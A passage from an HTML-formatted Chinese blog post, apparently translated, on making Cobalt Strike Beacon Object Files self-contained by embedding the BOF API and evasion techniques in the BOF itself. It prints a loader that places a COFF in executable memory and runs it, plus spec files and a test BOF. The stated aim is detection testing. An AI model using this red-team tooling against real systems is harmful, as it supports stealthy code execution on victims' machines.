TrustedSec 的 COFFLoader——都包含一个 兼容层，负责实现上述函数以供 BOF 调用，替代 Beacon 代理中的原始实现。BOF Inversions 颠覆了这一模式，将 API 实现直接内嵌至 BOF 本身，而非保留在加载器或 C2 代理中。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">BOF Cocktails</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Cobalt Strike 的 BOF API 包含 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">BeaconVirtualAlloc</span></code><span leaf="">等函数，其设计初衷是将 Beacon 的规避能力（如系统调用）开放给 BOF 使用。然而，如上所述，这种方式使 BOF 在规避层面依赖于 C2 代理。BOF Cocktails 将规避技法直接整合进 BOF 本身，扭转了这一依赖格局。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">那又怎样？</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这两种思路带来的结果是：BOF 突然成为了&#34;自包含&#34;单元，执行等效功能时无需依赖 C2 代理。进而，自包含单元作为测试用例也便捷得多。此方案的核心目标，是为检测工程师提供一种直接在测试/分析环境中执行 BOF 的途径，省去搭建完整 C2 环境的开销。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Harness 框架</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">该项目的核心组件是一个简单的 BOF 加载器，我将其称为 &#34;harness&#34;。它负责将 COFF 加载到内存中、调用其入口点并传递打包的参数。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">#</span><span style="color: rgb(215, 58, 73);"><span leaf="">include</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&lt;windows.h&gt;</span></span><span leaf=""><br/></span><span leaf="">#</span><span style="color: rgb(215, 58, 73);"><span leaf="">include</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;loader.h&#34;</span></span><span leaf=""><br/></span><span leaf="">#</span><span style="color: rgb(215, 58, 73);"><span leaf="">include</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;tcg.h&#34;</span></span><span leaf=""><br/></span><span leaf="">DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc   ( LPVOID, SIZE_T, DWORD, DWORD );</span><span leaf=""><br/></span><span leaf="">DECLSPEC_IMPORT BOOL   WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> _COFF_ [ </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> ] __attribute__ ( ( section ( </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;coff&#34;</span></span><span leaf=""> ) ) );</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> _ARGS_ [ </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> ] __attribute__ ( ( section ( </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;args&#34;</span></span><span leaf=""> ) ) );</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">void</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">go</span></span><span leaf=""> ( )</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    RESOURCE * src  = </span><span style="color: rgb(0, 92, 197);"><span leaf="">GETRESOURCE</span></span><span leaf=""> ( _COFF_ );</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> * code = KERNEL32$</span><span style="color: rgb(0, 92, 197);"><span leaf="">VirtualAlloc</span></span><span leaf=""> ( </span><span style="color: rgb(0, 92, 197);"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">PicoCodeSize</span></span><span leaf=""> ( src-&gt;val ), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE );</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> * data = KERNEL32$</span><span style="color: rgb(0, 92, 197);"><span leaf="">VirtualAlloc</span></span><span leaf=""> ( </span><span style="color: rgb(0, 92, 197);"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">PicoDataSize</span></span><span leaf=""> ( src-&gt;val ), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE );</span><span leaf=""><br/></span><span leaf="">    IMPORTFUNCS funcs;</span><span leaf=""><br/></span><span leaf="">    funcs.</span><span style="color: rgb(36, 41, 46);"><span leaf="">GetProcAddress</span></span><span leaf=""> = GetProcAddress;</span><span leaf=""><br/></span><span leaf="">    funcs.</span><span style="color: rgb(36, 41, 46);"><span leaf="">LoadLibraryA</span></span><span leaf="">   = LoadLibraryA;</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">PicoLoad</span></span><span leaf=""> ( ( IMPORTFUNCS * ) &amp;funcs, src-&gt;val, code, data );</span><span leaf=""><br/></span><span leaf="">    RESOURCE * args = </span><span style="color: rgb(0, 92, 197);"><span leaf="">GETRESOURCE</span></span><span leaf=""> ( _ARGS_ );</span><span leaf=""><br/></span><span leaf="">    ( ( BOFMAIN ) </span><span style="color: rgb(0, 92, 197);"><span leaf="">PicoEntryPoint</span></span><span leaf=""> ( src-&gt;val, code ) ) ( args-&gt;val, args-&gt;len );</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">loader.c</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">其对应的 spec 文件期望接收 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">$COFF</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">$ARGS</span></code><span leaf="">变量，其中 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">$COFF</span></code><span leaf="">为 COFF 文件的字节数据，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">$ARGS</span></code><span leaf="">为打包的参数。此外还有一个名为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">%entrypoint</span></code><span leaf="">的变量，用于存储 BOF 的入口点（通常为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">go</span></code><span leaf="">）。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(0, 92, 197);"><span leaf="">x</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">64</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    load </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;bin/loader.x64.o&#34;</span></span><span leaf=""><br/></span><span leaf="">        make pic +gofirst +optimize</span><span leaf=""><br/></span><span leaf="">        run </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;services.spec&#34;</span></span><span leaf=""><br/></span><span leaf="">        mergelib </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;libtcg.x64.zip&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">push</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">$COFF</span></span><span leaf=""><br/></span><span leaf="">            make object +optimize</span><span leaf=""><br/></span><span leaf="">            run </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;bof.spec&#34;</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">%entrypoint</span></span><span leaf=""><br/></span><span leaf="">            export</span><span leaf=""><br/></span><span leaf="">            preplen</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">link</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;coff&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">push</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">$ARGS</span></span><span leaf=""><br/></span><span leaf="">            preplen</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">link</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;args&#34;</span></span><span leaf=""><br/></span><span leaf="">    export</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">BOF Inversion 的魔法发生在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">bof.spec</span></code><span leaf="">中。首先，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">bofapi.c</span></code><span leaf="">实现了 BOF API，例如 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">BeaconDataParse</span></code><span leaf="">。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">void </span><span style="color: rgb(111, 66, 193);"><span leaf="">BeaconDataParse</span></span><span leaf=""> ( datap </span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf=""> parser, </span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf=""> buffer, int size )</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    parser</span><span style="color: rgb(215, 58, 73);"><span leaf="">-&gt;</span></span><span leaf="">original </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf=""> buffer;</span><span leaf=""><br/></span><span leaf="">    parser</span><span style="color: rgb(215, 58, 73);"><span leaf="">-&gt;</span></span><span leaf="">buffer   </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf=""> buffer;</span><span leaf=""><br/></span><span leaf="">    parser</span><span style="color: rgb(215, 58, 73);"><span leaf="">-&gt;</span></span><span leaf="">length   </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf=""> size;</span><span leaf=""><br/></span><span leaf="">    parser</span><span style="color: rgb(215, 58, 73);"><span leaf="">-&gt;</span></span><span leaf="">size     </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf=""> size;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">... etc ...</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">bofapi.c</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">spec 文件将这些函数合并到 BOF 中，并将对它们的调用重定向。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(0, 92, 197);"><span leaf="">x</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">64</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    entry </span><span style="color: rgb(36, 41, 46);"><span leaf="">%1</span></span><span leaf=""><br/></span><span leaf="">    load </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;bin/bofapi.x64.o&#34;</span></span><span leaf=""><br/></span><span leaf="">        merge</span><span leaf=""><br/></span><span leaf="">    attach </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">$BeaconDataExtract</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;BeaconDataExtract&#34;</span></span><span leaf=""><br/></span><span leaf="">    attach </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">$BeaconDataLength</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;BeaconDataLength&#34;</span></span><span leaf=""><br/></span><span leaf="">    attach </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">$BeaconDataParse</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;BeaconDataParse&#34;</span></span><span leaf=""><br/></span><span leaf="">    attach </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">$BeaconDataPtr</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;BeaconDataPtr&#34;</span></span><span leaf=""><br/></span><span leaf="">    attach </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">$BeaconDataInt</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;BeaconDataInt&#34;</span></span><span leaf=""><br/></span><span leaf="">    attach </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">$BeaconDataShort</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;BeaconDataShort&#34;</span></span><span leaf=""><br/></span><span leaf="">    attach </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">$BeaconFormatAlloc</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;BeaconFormatAlloc&#34;</span></span><span leaf=""><br/></span><span leaf="">    attach </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">$BeaconFormatReset</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;BeaconFormatReset&#34;</span></span><span leaf=""><br/></span><span leaf="">    attach </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">$BeaconFormatAppend</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;BeaconFormatAppend&#34;</span></span><span leaf=""><br/></span><span leaf="">    attach </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">$BeaconFormatPrintf</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;BeaconFormatPrintf&#34;</span></span><span leaf=""><br/></span><span leaf="">    attach </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">$BeaconFormatToString</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;BeaconFormatToString&#34;</span></span><span leaf=""><br/></span><span leaf="">    attach </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">$BeaconFormatFree</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;BeaconFormatFree&#34;</span></span><span leaf=""><br/></span><span leaf="">    attach </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">$BeaconFormatInt</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;BeaconFormatInt&#34;</span></span><span leaf=""><br/></span><span leaf="">    attach </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">$BeaconPrintf</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;BeaconPrintf&#34;</span></span><span leaf=""><br/></span><span leaf="">    attach </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">$BeaconOutput</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;BeaconOutput&#34;</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">bof.spec</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我的设计意图是：项目的使用者无需修改与 harness 相关的任何内容，任何变更均可在其他 spec 文件中进行（如下文所述）。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">测试 BOF</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">作为简单的测试，我加入了一小段 C 代码，使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">BeaconPrintf</span></code><span leaf="">打印一条消息。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">#</span><span style="color: rgb(215, 58, 73);"><span leaf="">include</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&lt;windows.h&gt;</span></span><span leaf=""><br/></span><span leaf="">#</span><span style="color: rgb(215, 58, 73);"><span leaf="">include</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;beacon.h&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">void</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">go</span></span><span leaf=""> ( </span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> * args, </span><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf=""> len )</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    datap parser;</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">BeaconDataParse</span></span><span leaf=""> ( &amp;parser, args, len );</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> * message = </span><span style="color: rgb(0, 92, 197);"><span 